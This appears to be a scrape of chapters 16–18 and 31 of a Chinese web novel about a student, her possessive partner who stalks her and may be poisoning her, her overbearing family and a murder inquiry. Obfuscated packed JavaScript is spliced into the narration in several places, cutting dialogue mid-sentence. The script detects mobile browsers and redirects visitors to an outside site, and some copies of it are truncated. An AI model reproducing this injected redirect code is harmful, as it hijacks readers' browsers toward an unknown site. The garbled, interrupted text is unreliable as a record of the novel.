于琦声音尖利,骂道:“我难道哪里说错了吗,兰稚青高中的时候阴森得像个女鬼,如果不是大冒险,我才不愿意搭理她!” 兰稚青闻言冷笑了一声,开口道:“我高中的时候阴森得像个女鬼,但至少我现在修成人形了。” “你呢?现在还停留在畜生阶段吧。” “小贱人你说个没完了是吧!” 于琦被众人你一言我一语地围攻,他勃然大怒,直接扬手就要朝离他最近的兰稚青打去。 乔茜吓了一跳,下意识想要拉着兰稚青后退。 可是兰稚青却抢先一步,她眼疾手快躲过于琦的巴掌,反手抓住他的胳膊,一个干脆利落的过肩摔把他重重摔到地上。 于琦的身体和坚硬的地面发出了一声沉闷的碰撞声。 在场所有人目瞪口呆,周遭陷入了一片死寂。 兰稚青放在口袋里的手机亮起又熄灭,她沉浸在愤怒之中,完全没有意识到沈寂给她发来的消息。 Schlange:【你也在F市吗?】 Schlange:【真巧,我正好在附近出差。】 Schlange:【我们见一面怎么样,不会耽误你太多时间的。】 …… Schlange:【见一面都不愿意吗?你从前都不会这样对我的……】 Schlange:【你是不是在生我的气,如果我哪里做的不好我都可以改的。】 Schlange:【可不可以不要抛下我一个人,你不是说过喜欢我的吗?】 …… Schlange:【^^我找到你了哦。】 16. 第 16 章 于琦尚在懵然之前就已经被摔到了地上,他挣扎着想要起身,可是兰稚青却又踩住了他的后背。 “兰稚青,你疯了!” “不好意思,我这是正当防卫,所有人都看见了。” 兰稚青抬手绑起了自己的头发,甚至开始思考要不要继续再给于琦两巴掌,到哪种程度才不算防卫过当。 “好了好了,这不就是一场误会,大家和气一点,别闹这么难看。” 人群中有和于琦交好的男生主动站出来想要帮他解围,班主任虽然也觉得于琦做的有点过分,但为了这次的同学聚会,也还是主动上前劝解。 兰稚青虽然不想这么轻易放过于琦,但是班主任高中时对她很是照顾,她也不想拂了恩师的面子。 于琦狼狈在兄弟的搀扶下从地上爬了起来,他死死瞪着兰稚青,但是这次却不敢再吭声犯贱。 乔茜也赶紧把兰稚青拉到一旁,避免她继续和于琦发生冲突。 所有人都没有想到一向开朗体面的于琦竟然会是这种人,更没想到当年沉默寡言的兰稚青现在不仅骂人伶牙俐齿,甚至连打架都变得意外在行。 不得不说,今天这场同学聚会也实在是太过精彩了。 “不好意思,请问兰稚青同学是在这里吗?” 听到有人在喊自己的名字,兰稚青愣了一下,下意识回过了头,发现高中的秃头校长正一脸谄媚地站在门边,身旁是长身玉立的沈寂。 “张老师,打扰你们了,咱们班上的兰稚青同学……” 校长的态度前所未有的和蔼可亲,班主任愣了一下,下意识看向了躲在乔茜身后的兰稚青。 兰稚青没有想到会在此时此刻遇到沈寂,她完全没有做好要和他见面的准备,更不清楚他到底是怎么找到这里的。 按理说沈寂现在不是应该在外地出差吗…… 兰稚青脑子一团混乱,还没来得及想明白发生了什么,校长就已经笑眯眯走了过来。 “小兰同学是吧,你好你好,听说你考上了A大,真是咱们学校的优秀毕业生,果然是年轻有为。” 兰稚青实在是受不了校长奉承的话语,她遥遥和沈寂对视了一眼,沈寂歪了歪头,主动开口帮她解围。 “李校,不好意思,我有事要找兰同学,我们先走一步。” 兰稚青犹豫了一下,还是默默跟上了沈寂,暂时离开了这处是非之地。 “……你怎么会在这里。” 兰稚青跟在沈寂的身后,两人径直走上了僻静的顶楼,夏日的风灼热异常,外面的光线更是刺得她有些睁不开眼,她垂下了头,良久才又轻声开口问道:“你不是说你在出差吗?” 沈寂回头细细打量着兰稚青,两人自从上一次不欢而散后已经有小半个月没有见面,兰稚青一直拒绝他,躲着他,完全不愿意提及当初的吻。 他知道自己不该这样步步紧逼,兰稚青胆子小,他或许应该像温水煮青蛙一样对待她,或许她才会更容易对她放下戒心。 可是他等不及了。 他原本还算充足的耐心在那次见面之后燃烧殆尽。 他现在就像已经被吊足了胃口的毒蛇,在冬眠之前,迫不及待想要将面前的猎物带回巢穴一口吞下。 在兰稚青抬头之前,他将眼底的贪婪与迷恋尽数隐藏起来,慢条斯理道:“你没有看到我发的消息吗,F市有一场学术交流会,好巧不巧,位置就在附近。” 兰稚青闻言一怔,她匆匆拿出自己的手机,发现沈寂给自己发了好几条消息。 “抱歉,刚刚有事在忙,我没注意。” 兰稚青除了道歉之外也不知道还能再说什么,她本来是想抬头和沈寂实话实说,告诉他自己现在确实没有谈恋爱的打算,那次的吻就当做是一场梦。 可是对上沈寂平静的眼眸,她准备好的所有话语都卡在了喉咙里。 “对不起……” 兰稚青沉默了许久,最终干巴巴憋出了这么一句话。 而这一句话就已经足够表明她的态度。 沈寂闻言顿了顿,轻声道:“没什么好对不起的,你做的没错,是我自己不够好,得不到你的喜欢。” 兰稚青张了张嘴,她本想再多安慰沈寂几句,可是又怕自己说的不好,反而又会让沈寂伤心。 她无意识搅着自己的手指,结结巴巴道:“那……那我们就先这样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14882239|159784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就当之前什么都没有发生过……” 沈寂深深看了她一眼,他没有再多说什么,而是径直走向了护栏,准备直接翻过去跳楼。 “等下……你这是要做什么?!” 兰稚青吓了一跳,连忙冲过去把他拉了下来。 “我家家风一向保守,我既然已经失了清白,你又不打算要我……” 沈寂双眸含泪,脸色在阳光的照耀下显得更加苍白,坚持道:“如今我只能以死谢罪。” “啊?” 兰稚青一时被沈寂的话震惊住,她干巴巴道:“可是……可是我们只是亲了个嘴,不、不至于这么严重吧?” 如果她没记错的话,大清应该早就亡了吧。 “那是我的初吻,是留给我未来妻子的。” 沈寂眼中的泪水像是断了线的珠子,他的声音都变得有些颤抖,哽咽道:“如果你不喜欢我,那你就不应该亲我,你现在对我做了这样的事情你又不要我,这不就是始乱终弃,在逼我去死吗?!” “左不过这是我自己自作多情,一切都和你没有关系。” 沈寂抿了抿唇,轻声道:“你先走吧,你走了之后我再自我了断,这样就算我的尸体被发现,警察也不会追究你的责任……” 他一边说着一边又作势要往后退,兰稚青被他吓得脸都白了,生怕自己再说半句沈寂就会真的血溅当场。 兰稚青咽了咽口水,结结巴巴道:“别……你千万别跳,我负责,我对你负责好吧,你冷静一下,千万别跳!” 沈寂闻言扯了扯嘴角,试图扬起一抹笑容,可是配上脸上欲掉不掉的泪珠更显得可怜凄凉。 “你没必要为了我忍气吞声,反正我父母双亡,也没有亲戚朋友,就算是死了也不会有人伤心。” “不是忍气吞声,我说的是真心话!” 兰稚青绞尽脑汁思索着自己的措辞,小心翼翼哄道:“我从看见你的第一眼就喜欢你,我只是不太擅长表达,其实我很愿意和你在一起的。” “……真的吗?” 沈寂眨了眨眼,他的眼睫上还带着未干的泪珠,他扶住了自己身后的栏杆,轻声道:“那你证明给我看。” 17. 第 17 章 兰稚青猛然睁开眼睛,盯着天花板发了会儿呆才终于回过神来。 也不知是不是日有所思夜有所梦,最近她总是会梦到过去的事情,想起她到底是怎样一步接着一步掉进沈寂设下的陷阱里的。 手机上的闹钟还在不知疲倦地响着,兰稚青拿过手机按下了关闭键,发现路锡鸣昨天晚上给她发了消息,询问她发过去的资料里的一项数据。 除此之外就是论坛上的消息,自从教学楼的橘猫被投毒之后,有人陆陆续续发现校园里有更多猫猫狗狗出现了中毒的情况,这件事闹得人心惶惶,校方已经着手开始调查。 如果是这样的话,那这件事就应该确实和她那天扔掉的食物无关。 兰稚青不知道自己到底该不该松一口气。 她给路锡鸣回复了消息,想起了昨晚在书房发现的诡异玻璃瓶,思索了再三还是决定起身去学校一趟。 沈寂今天似乎有事,兰稚青下楼的时候并没有见到他的身影,只是看到桌子上放了一张纸条,上面是沈寂端正的笔迹。 【宝宝,昨天晚上对不起,下次我不会再犯了。 我煮了你喜欢的皮蛋瘦肉粥,你睡醒的话记得喝。】 兰稚青面不改色地撕掉了那张纸条,她走进厨房,本想像以前一样继续在碗里沾点汤水假装自己已经吃过,可是这次她思索片刻,又出去找了个空瓶子装了一些沈寂做的皮蛋瘦肉粥。 她把瓶子好好包装好,打开手机找到了最末尾的联系人。 L:【可以进行未知物检测吗?】 Z-专业成分分析:【可以,还是老样子,固体检测不能少于10克,液体检测不能少于5毫升。】 L:【我一会儿同城急送过去,两份液体样本,最快什么时候可以出结果。】 Z-专业成分分析:【不好说,年底了单子太多,数据比对需要时间,我最晚下周之前给你答复。】 L:【最晚三天,我可以加钱。】 Z-专业成分分析:【如果加钱的话那当然没问题啦,后天之前我给你答复(呲牙)】 兰稚青把定金给对方转了过去,她把自己昨天晚上藏起来的玻璃瓶和装着皮蛋瘦肉粥的瓶子一起塞进了包里,这才换衣服匆匆出门。 她不敢让跑腿的骑手上门取件,怕会留下痕迹被沈寂发现,所以宁可自己坐车到附近的大型商场,像个心虚的犯罪者一样隐藏自己的行踪。 马上临近新年,商场里的布置也变得喜气洋洋,兰稚青买了一杯咖啡坐在窗边,她真的在认真思考自己接下来应该何去何从。 如果皮蛋瘦肉粥和那个玻璃瓶里的液体都是无毒的,那自然一切万事大吉,她也不用这么战战兢兢地过日子。 可如果里面真的有毒药……或者说,沈寂只是在这一次没有下毒…… 这是一个无解的难题。 兰稚青微微抬眼,透过玻璃的倒影,她看清了自己现在的模样,她穿着轻软的羊绒大衣,套在里面的长裙像是皮肤一样紧紧包裹着她的身体,长发是精心保养出的乌黑柔顺,可惜却顶着一张满是猜忌与怀疑的苍白面容。 她有一些后悔自己今天出门太过匆忙,随便在衣帽间拿了几件衣服就套在了身上。 或许她应该再细心找找,指不定房间里还有没被沈寂偷偷收走的冬衣。 古人都说“肥马轻裘”,她厚实的卫衣外套和棉衣带着重量,远不及昂贵的羊绒大衣那般轻便,可是却能让她有足够的安全感。 而不是像现在这样,即使她已经走出了家门,可依旧觉得沈寂无时无刻都在她的身边。 兰稚青抿了一口已经渐渐失去热度的咖啡,围巾上的印花像是一条盘踞的毒蛇,勒得她有些喘不上气。 “你好,请问是尾号7711的兰女士吗?” “是我,这是要送的东西。” 兰稚青把包交给了骑手,直到看着对方匆匆走远,她才终于如释重负,登上自己的账号提醒成分分析公司的人注意接收。 只不过还未等到她再叮嘱几句,电话铃声却突兀响了起来。 兰稚青看了一眼备注,走出店门后才终于按下接通键。 “妈,又有什么事?” “我是你爸,你到底怎么回事,你哥说你把他拉进黑名单了,给你打电话一直不接。” 兰父一上来就是抱怨的语气,训斥道:“一家人哪有隔夜仇,别这么小心眼。” “我哥给我打电话做什么?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14895434|159784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >兰稚青闻言皱了皱眉,她自从上回被骗回家参加她大哥兰智刚的订婚宴后就把对方拉黑了,反正他们三兄妹关系也不怎么样,平时根本不会有什么来往。 “你哥和你嫂子今天来A市的医院看病,他们难得来一趟,中午你请他们吃个饭。” “他们来关我什么事?没钱吃饭就去天桥底下要,我可以免费提供两个破碗。” “你听听你自己说的是什么话!那是你亲哥亲嫂子,好好的一家人你至于这么刻薄吗?” 兰稚青被兰父的话无语到了,她刚刚准备直接挂断电话,可是兰父下一句话却让她猛然僵住。 “我已经让他们在你学校门口等着了,你要是不过去我就打电话找你们学校辅导员。” “找辅导员?你脑子是不是有毛病,你真当我们学校是菜市场?” “你怎么跟你亲爹说话的!” “好了好了,老兰你也少说两句吧。” 兰母的声音从电话那头传来,她从兰父手里接过了电话,放缓了语气说道:“青青,你别生气啊,你爸说话不中听,本来我们没想让你哥过去打扰你的,这不你嫂子听说你是A大的学生,想跟着进去参观参观,大家都是一家人,别搞那么僵,就当给妈妈个面子。” 兰稚青觉得自己的血压飞速上升,她几乎都已经能想象得到她哥那个超雄男在学校大吵大闹的场景。 她能拒绝吗? 当然能。 只不过后果就是他们家那点破事会闹到无人不知无人不晓。 “他们在学校哪个门?” “就是你们学校大门啊,对着市立图书馆的那个门,那边是东还是南啊……” 兰稚青忍着怒气挂断了电话,出门打了一辆车准备前往学校。 她没有注意到在咖啡厅的角落,有一个穿着黑色外套的人在她离开之后起身走到她的座位旁。 他拿起兰稚青喝完的咖啡,在服务生诧异的眼神中,他慢吞吞将它放进手边的纸袋。 “这位先生,你……” 服务生刚刚想要制止,可是对方却径直掠过了她的身边,他的脸上戴着口罩,帽子也压得很低。 她唯一能看清的,就是对方一闪而过的些许金发。 18. 第 18 章 “这都多长时间了,你妹妹怎么还不来?” 冯丹有些不耐烦地低头看了一眼时间,不悦道:“要不我们别等了,先去吃饭吧。” “宝贝再等等,我妈说她马上就过来了。” 兰智刚站在寒风里也不好受,但还是好声好气哄着冯丹,执意要等到兰稚青过来接他们。 作为兰家的长子,兰智刚今年二十六岁,虽然只是职高学历,但已经在互联网上至少提前十年获得了国际政治学及历史学的博士学位。 对于自己这个考上名牌大学的妹妹,他虽然不屑一顾,但是却不得不承认这个名头拿出去的确足够好用,为了能让这个旗子扬得更大,他不介意多帮她吹嘘包装一下。 就像是他在订婚时一定要让兰稚青到场,为的就是告诉女方的父母,他们家有一个未来的潜力股,现在在A市上学,以后指不定还会在A市定居工作,那就等于是一棵正在成长的摇钱树。 “智刚,你说的是真的吗,你妹妹真有那么厉害。” 冯丹面露迟疑,试探道:“你妹妹上这么好的大学,以后不会还得读研究生吧,那到时候学费如果你是爸妈出……我们以后还得还房贷车贷……” “读什么研究生啊,她估计毕业就得找工作了。” 兰智刚摆了摆手,又道:“而且其他的你也不用担心,我妹上大学没花家里的钱,以后她嫁出去了还得给家里贴彩礼,我弟现在也不着急,顶多就是学费生活费花点钱,你放心,首付我们家肯定会出的。” “那样倒是最好啦。” 冯丹有些哀怨地看了他一眼,“你也赶紧找找工作啊,我爸妈一直反对我们在一起,你丢工作的事情我至今还没敢跟他们提。” “我这不是为了陪你过来看病才没去找工作,现在年底了不太好找,年后我再去试试。” 兰智刚耐心哄着冯丹,可是久久都没有等到兰稚青来,他难免有些烦躁,刚刚打算给爸妈打电话再问问,远远就看到了一个熟悉的身影。 他瞥了一眼,朝着对方挥了挥手,“兰稚青,这边。” “这是你妹妹啊?” 冯丹明显眼前一亮,她上下打量了一下远远朝这边走来的兰稚青,像是在看一个即将破壳的金鸡蛋。 兰稚青打从下车的时候就已经冷了脸色,如果不是因为现在是在校门口,她真的很想两个巴掌扇兰智刚的脸上让他好好清醒清醒。 “青青,你好,你还记得我吗?上次订婚的时候我们见过的。” 冯丹对兰稚青的态度明显十分热情,客套道:“真是不好意思,我来A市看病,还要麻烦你过来一趟。” 兰稚青明显不吃这套,她冷冰冰道:“既然知道麻烦那就不应该开口。” 冯丹闻言笑容顿时僵在了脸上,旁边的兰智刚见女朋友被下了面子,他脸色一沉,张嘴就是劈头盖脸的训斥。 “兰稚青,你到底懂不懂礼貌,你嫂子是你的长辈,有你这么和长辈说话的……” “行了,你别说了。” 冯丹扭头瞪了兰智刚一眼,她对兰稚青笑了笑,“青青你别介意,你哥他脾气急不会好好说话。” 她见兰稚青不言语,默默从自己的兜里摸出一个丝绒盒子递到她的面前。 “我们今天过来本来想带点家里的土特产,但是想着马上就要过年了,还不如等到你回家,所以干脆买了条手链给你。” 冯丹打开手里的丝绒盒子,里面是一条细细的黄金手链,看得出来确实是新买的,就连上面的吊牌都没有拆下。 兰智刚似乎有些欲言又止,可是冯丹一直不让他开口说话,他也只能憋着火在旁边看。 “青青,你戴上去试试,这个款式还是你哥给你选的,多配你这身衣服。” “不用了,我不喜欢戴首饰。” 兰稚青扫了一眼一直在旁边装哑巴的兰智刚,“如果你们要进学校参观可以提前预约,学校保安查得严,我也没办法把你们直接带进去。” 冯丹闻言连忙开口道:“那这次就先不参观了,我们一起去吃饭,我在网上搜了,附近有家不错的餐厅,今天你哥请客,我们一起去……” “我没空,你们自己去吃吧。” “兰稚青你到底有完没完?!” 兰智刚闻言终于忍无可忍,他不顾冯丹的阻拦对着兰稚青大声骂道:“别以为给你的颜色你就能开染坊了,我们大老远过来看你,你摆着这张死脸给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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30-40 第31章 第31章理我一下 兰稚青跟着林警官一起走进了警局,她还是第一次因为杀人案被传唤调查,整个人看起来怯生生的,跟在林警官的后面就像是个被教导主任抓住早恋的高中生。 “别紧张,就是普通的问话,放松一点就好。” 林警官帮兰稚青倒了杯水,她略带审视地扫了她一眼,笑眯眯道:“虽然你可能不认识我,但是我知道你。” “……什么?” 兰稚青有些迷茫地抬起了头,对上林警官含笑的面容,她脑子里飞过过了一遍,最后不太确定道:“我应该没见过你。” “当然啦,我们上一次见面应该是在二十多年前了吧。” 林警官笑了笑,解释道:“在我转刑侦之前,我曾经在双水镇派出所干民警,当时是负责户籍窗口的,你的名字还是我起的呢。” 兰稚青闻言一怔,“我的名字?” “对啊,兰稚青,我记得你应该还有个龙凤胎弟弟吧,当时你爸妈一人抱了一个来给你们上户口。” “……对,我是有个弟弟,他叫兰智正。” “那就没错了,当时你爸妈急着给你们上户口,只给你弟弟起了名字,但是小孩子上户口总得有个名字吧,你爸妈就让我随便填一个,说以后再改名。” 林警官回想起当年的往事如今仿佛还在眼前,她轻轻叹了口气,笑道:“说真的,我当时刚毕业没多久,你爸妈这要求真给我吓了一跳。” “……放在我爸妈身上那就不奇怪了。” 兰稚青对此并不感到意外,兰父兰母在兰智刚和兰智正起名时都是找大师算过的,放到她身上便是随便填填。 她是不是应该庆幸当初他们没给自己起什么兰狗蛋兰二妞之类的名字。 “我还是第一次给孩子起名,当时正好是麦子发芽的时候,外面翠生生的一片,看起来生机勃勃的,所以我想干脆就叫稚青吧,一晃二十多年都过去了。” 林警官有些无奈,笑道:“今天一看到你的名字我就想起来了,毕竟这个姓氏有些少见,没想到咱们这么有缘,竟然还能再见面。” 她仔细打量着对面兰稚青的表情,眼见着她的姿态比刚刚进来时要放松多了,她再度开口道:“你知道这一次为什么会让你过来吗?” 兰稚青点了点头,老老实实回答:“知道,于琦死了,你们是怀疑我杀的。” “别误会,这不是怀疑,只是例行询问一下。” 林警官摆了摆手,问道:“我们听说你之前和被害者起过一些争执,方便和我们说一下是为了什么吗?” “他从四年前开始就在外面造谣我喜欢他,伤害到了我的名誉权。” 兰稚青一板一眼,认真道:“十月初我们有一场同学聚会,当时我们因为这件事吵了一架,我还把他当众摔到了地上。” “你把他摔到了地上?” 林警官闻言一愣,她上下打量了一眼兰稚青细瘦的小身板,不太确定道:“你是有学过什么吗?” 兰稚青轻轻点了点头,老实道:“之前学过散打和防身术。” “原来如此,那你后来和他还有联系吗?” “没有。” 兰稚青顿了顿,又补充道:“不过两天前我回来,我们在车站碰巧见了一面。” 林警官挑了挑眉,追问道:“那见面的时候你们都说了什么?” 兰稚青想到于琦当时话中对沈寂的控诉,她有些心虚地移开了自己的视线,小声道:“……没说什么,就是一些鸡毛蒜皮的小事。” 林警官一眼就能看出她在撒谎,她也不恼,只是温声道:“小兰,我希望你可以对我知无不尽尽无不言,哪怕是再小的事情也要说清楚,指不定就会是帮助我们破案的线索。” “我知道你和被害者从前是有一些不愉快,但这是一桩命案,凶手至今还在四处流窜,哪怕是为了社会安定,你也多配合一下,好吗?” 兰稚青闻言点了点头,她有些紧张地搅着自己的手指,犹豫了许久还是小声道:“于琦也没说什么,就是在和我抱怨他被公司开除,还出了车祸……” 她知道自己现在脑子实在不太聪明,沈寂曾经在她的食物里偷偷下毒,她这个时候如果实话实说,那警察便会把调查方向转移到沈寂身上,或许她也可以借此从这段关系中解脱出来。 可是沈寂已经说了这件事不是他做的,而且她直到现在也不能确定研究所给她的报告到底是不是真实的…… 更重要的是,沈寂是Schlange,Schlange是这个世界上最爱她的人,如果他消失了,那她又会变成孤零零的一个人了。 沈寂和Schlange的形象似乎在她的脑中割裂成了不同的部分,她可以狠下心来给自己的丈夫沈寂下毒,可是却无法对曾经陪伴过自己的Schlange采取任何卑鄙的手段。 “于琦说自己在外企实习,后来不知道因为什么被开除了,还差点被公司起诉,他出去喝闷酒,结果又被车给撞了,腿一直没好全。” 兰稚青有意隐下了所有有关沈寂的内容,掐头去尾选了重点去说。 林警官静静注视着她,光是看她的表情便心知兰稚青一定对此事有所隐瞒。 毕竟一般来说一个正常人哪怕真的失意落魄,那也不会跑到自己仇人面前诉苦。 不过她并不打算继续深究这个问题,而是转而问道:“案发当时你在哪里?” “案发时间是几点钟?” “初步推算在凌晨两点到三点之间。” “我在家里睡觉。” “你有驾照吗?” “没有。” 两人的对话简洁明了,林警官将其一一记录了下来,又问道:“你是A大的学生吧,是不是今年就要毕业了?” “嗯,应该会在今年六月份毕业。” 兰稚青盯着自己的衣角发呆,机械回答着林警官的问题。 “于琦之前在A市的分公司工作,这件事你知道吗?” “知道,同学聚会的时候他说过。” “那你们有在A市见过面吗?” “从来没有。” 兰稚青犹豫了许久,小声开口问道:“那个……林警官,我听说于琦是被人砸到头砸死的,这是真的吗?” “不是被砸到头,准确来说是他的整张脸都被砸的血肉模糊。” 林警官抬头看了她一眼,似笑非笑道:“怎么样?要不要给你看看现场照片?” 兰稚青闻言连忙摇头,可是犹豫了片刻又点了点头,小声问道:“……可以吗?” “当然不可以,这是案件机密,我是开玩笑的。” 林警官哑然失笑,她合上了手里的笔记本,随口道:“你今天说过的事情我们会去核实,明天可能还需要你过来一趟,如果你出行不太方便的话我可以找人开车去接你。” “不用这么麻烦,我今天去附近的酒店住就可以了。” 兰稚青婉言拒绝了林警官的提议,她起身与林警官告辞,林警官盯着她的背影半晌,转头对旁边的年轻警察道:“孙想,你再好好去查查这个兰稚青的资料,能查多详细就查多详细。” “怎么了林队,她有嫌疑吗?” “现在还不太确定。” 林警官眼底闪过些许沉思,她端起杯子抿了一口热水,叹气道:“不过小心一点总不会出事的。” 兰稚青尚且不知道自己已经成了被怀疑的对象,她走出警局本来打算解锁手机搜索一下附近的酒店,可是沈寂的消息却像是炮弹一样弹个不停。 Schlange:【什么时候回来呀,我去找你好不好qwq】 Schlange:【宝宝你那边什么时候可以结束啊……】 Schlange:【你跟我说说话嘛,我自己一个人真的好难受。】 Schlange:【今天晚上可以开着电话睡觉吗?】 Schlange:【还没有结束吗?需不需要我叫律师过去一趟。】 Schlange:【小兔打滚.jpg】 Schlange:【QAQ理我一下……】 兰稚青看得头都大了,她现在甚至开始怀疑沈寂是不是有什么分离焦虑症,刚刚准备回复几句,结果路锡鸣的消息猝不及防就弹了出来。 【学姐,你是F市人吗?】 【图片.jpg】 【我今天和网友在F市面基,但是走得太急没有来得及做攻略,想问下学姐有没有推荐的餐厅或者景点之类的QAQ】 好烦。 现在看见QAQ就烦。 兰稚青盯着路锡鸣的消息沉思半晌,本来想礼貌性地回复一下,可是沈寂的电话偏偏又在这个时候打了过来,她只能匆匆接起,暂时把这件事情放到一旁。 “你怎么不回我的消息。” 沈寂语气有些委屈,他把自己埋在兰稚青的衣服里,不满道:“你现在是不是开始不爱我了。” 兰稚青耐着性子道:“我不是和你说了我要去警局配合调查,刚刚才结束啊。” “你说谎,我刚刚都看到你正在输入中了!” 沈寂不太高兴问道:“刚刚是不是有别人给你发消息了,你立马就把我扔下不管了。” “……” 有些心虚的兰稚青:“我没有。” 沈寂不依不饶:“你就有,你刚刚回答甚至多停顿了三秒钟!” …… 路锡鸣盯着自己的手机屏幕半晌,许久都没有收到兰稚青的回复,他轻啧了一声,随手把手机塞进了口袋,开始环视四周找人。 “哥,我都说我自己可以了,你们不是还要去买年货吗,别跟着我啊,我又不是三岁小孩了。” 兰智正看着把自己送到高铁出站口还是不愿意离开的哥嫂,他苦笑道:“我真没骗你们,真的是我哥们儿。” “是哥们儿你那么紧张干什么,我还能不知道你小子。” 兰智刚促狭地推了他一把,低声道:“你和哥说实话,长得漂不漂亮,谈多久了?” 冯丹笑吟吟看着他们打闹,帮腔道:“是啊小正,要是合适就带回家见见呗,你年纪也不小了,找女朋友也是应该的。” “真的不是,我们就是一起打游戏的哥们儿,人家这次是过来旅游的。” 兰智正觉得自己越描越黑,他有些着急地四处张望,远远看到了熟悉的身影,他连忙朝对方挥了挥手。 “鸣哥,这里!” 路锡鸣听到了兰智正的声音,他回头准确找到他的位置,含笑朝他的方向走了过去。 兰智刚看到对方的脸明显一怔,他和站在旁边的冯丹对视了一眼,都在彼此的眼中看到了诧异。 “阿正。” 路锡鸣走到兰智正的面前打了声招呼,看到站在他身旁的兰智刚和冯丹明显一怔,惊讶道:“你们是之前在校门口的……” “原来你就是小正的朋友啊。” 兰智刚神色有些僵硬,尴尬道:“还真巧啊,又见面了。” 兰智正听到两人的对话一脸茫然,下意识开口问道:“鸣哥,你和我哥认识吗?” “你哥?” 路锡鸣闻言一怔,他像是突然意识到了什么,诧异道:“等一下……兰稚青是你什么人?” “兰稚青是我姐啊。” 兰智正奇怪道:“你还认识兰稚青吗?” “当然认识了,她是我同系的学姐,我们这个学期上了同一门专业课,还一起完成了小组作业。” 路锡鸣弯唇笑了笑,无奈道:“上一次我在校门口看到兰大哥去找学姐,没想到这么巧,原来你们是一家人。” “鸣哥,你也是A大的啊?以前光听你说在A市上学,没想到竟然这么凑巧。” 兰智正也没想到事情竟然会有这种发展,他笑嘻嘻道:“那看来大家都是熟人了,哥,这就是我最好的哥们儿路锡鸣,鸣哥,这两位是我哥和我嫂子,他们顺路把我送过来的。” 路锡鸣礼貌对两人点了点头,“两位好,这次多有打扰了。” “鸣哥,你酒店定在了哪里,我们先过去帮你把行李放下吧,等安顿好了我再带你好好逛逛。” 路锡鸣报出了酒店的名字,而后跟着兰智正一起坐上了兰智刚的车。 “我这次来的匆忙,也没准备什么,这是一点见面礼,希望兰大哥你们不嫌弃。” 路锡鸣拿出自己早就准备好的东西递了过去,送给兰智刚的是一块纯金的无事牌,送给冯丹的则是一条大牌项链,兰智正眼巴巴地看着他,迫不及待道:“鸣哥,那我的呢?” “你之前说过想要的那双球鞋我已经托人买到了,放在行李箱里了,一会儿我下车拿给你。” “我靠,鸣哥你太牛了!” 兰智正登时笑得合不拢嘴,拍着胸脯保证道:“你放心,我这次一定带你玩得开开心心的。” 兰智刚和冯丹明显也没想到他们竟然还会收到礼物。兰智刚颠了颠手里金子的重量,立马笑得合不拢嘴。 反倒是冯丹瞪了他一眼,对坐在后面的路锡鸣客气道:“小路,你也实在太客气了,这么贵重的东西我们怎么好意思收……” 路锡鸣闻言笑了笑,客气道:“没事的大嫂,我这次过来还麻烦你们来接我,只是一点小心意而已。” “是啊,嫂子你就收着吧,反正我鸣哥有的是钱。” 兰智正早就已经乐得找不着北了,他话密得就像是机关枪,口无遮拦问道:“对了鸣哥,你比我大两岁,怎么是我姐的学弟啊,你该不会也是小时候学习不好留级了吧?” 路锡鸣闻言脸上笑容一僵,他垂眸飞快掩下自己眼底的厌恶,解释道:“不是,是因为我转专业降了两级。” 兰智正愣了一下,好奇道:“转专业?那你之前学的是什么专业啊。” 路锡鸣笑了笑,自矜道:“心理学。” “哦,那你确实是该转专业。” 兰智正恍然大悟,他拍了拍路锡鸣的肩膀,叹气道:“我听说学心理学的以后毕业都吃不上饭,幸好鸣哥你跑得快啊。” 路锡鸣:“……” 果然线下见面是需要进行深思熟虑,本来打游戏的时候兰智正就已经很蠢了,没想到线下见兰智正之后才发现他在游戏里的蠢真的只是九牛一毛。 这样的人竟然真的是兰学姐的弟弟…… 他们胚胎在发育过程中是不是脑子都长一个人身上了。 路锡鸣拼命克制住自己想要骂人的欲望,他勉强挤出了一个笑容,故作无意道:“对了,你姐呢,今天没想到会这么巧,不如我们今晚一起吃个饭吧?” “我姐应该在家吧……今天让她和我们一起出来她也不出来,等一下,我打个电话问问她。” 兰智正掏出手机翻出兰稚青的电话,电话刚刚响了两声就被挂断。 “谁的电话啊?” “不认识,应该就是骚扰电话。” 兰稚青随手把兰智正的号码一并拉黑,趴在沙发上抱着平板和沈寂絮絮叨叨聊着天。 “今天警察问我于琦和谁有仇,我什么都没有说哦。” 沈寂闻言挑了挑眉,故意道:“那万一人是我杀的,宝宝你不就是在包庇凶手吗?” “你之前不是说过你一直待在家里吗,我相信你。” 她像是又回到了和Schlange在一起相处聊天的时候,遥远的距离消解了她对沈寂的恐惧,兰稚青不自觉地放松了下来,开始绘声绘色和对方描述自己今天的所见所闻。 “警察说于琦的脸都被砸烂了,而且案发时间还是在凌晨,听起来好恐怖,有点像都市传说。” 兰稚青嘴里含着冰淇淋,抱着抱枕含含糊糊道:“你说这会不会是有人在找他寻仇 啊,我感觉他人这么坏,得罪的人肯定很多。” 好可爱! 新解锁了吃冰淇淋的兔兔! 